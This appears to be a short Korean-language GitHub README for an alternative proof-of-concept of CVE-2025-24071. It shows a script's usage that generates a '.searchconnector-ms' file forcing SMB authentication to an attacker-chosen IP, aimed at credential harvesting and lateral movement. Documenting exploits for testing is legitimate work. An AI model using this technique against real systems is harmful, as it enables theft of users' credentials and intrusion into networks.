ctabango/cve-2025-24071_pocextra# CVE-2025-24071 개념 증명 익스플로잇 복사 시 SMB 인증을 트리거하는 `.searchconnector-ms` 파일을 생성하여 자격 증명 수집 및 측면 이동을 가능하게 하는 CVE-2025-24071용 개념 증명 익스플로잇입니다.
CVE-2025-24071_PoC 대안
원본 코드 https://github.com/0x6rss/CVE-2025-24071_PoC
비슷한 다른 확장 프로그램으로 테스트하던 중 동일한 구조로 ".searchconnector-ms"를 시도했지만 첫 번째 PoC의 문제도 역시 발생했습니다.
python poc2.py
공유 리소스의 IP 주소를 입력하세요: 192.168.88.33
'network_share.searchconnector-ms' 파일이 IP 192.168.88.33으로 생성되었습니다.
그리고 파일을 전송, 복사 또는 저장하면 자동으로 SMB 리소스에 인증을 수행합니다.
//Vmware 테스트 중에 파일을 가상 머신에 복사하기만 해도 SMB 리소스에 대한 인증이 수행되었습니다.
https://github.com/user-attachments/assets/2b71cc32-5010-4840-bf13-bd134c305d12
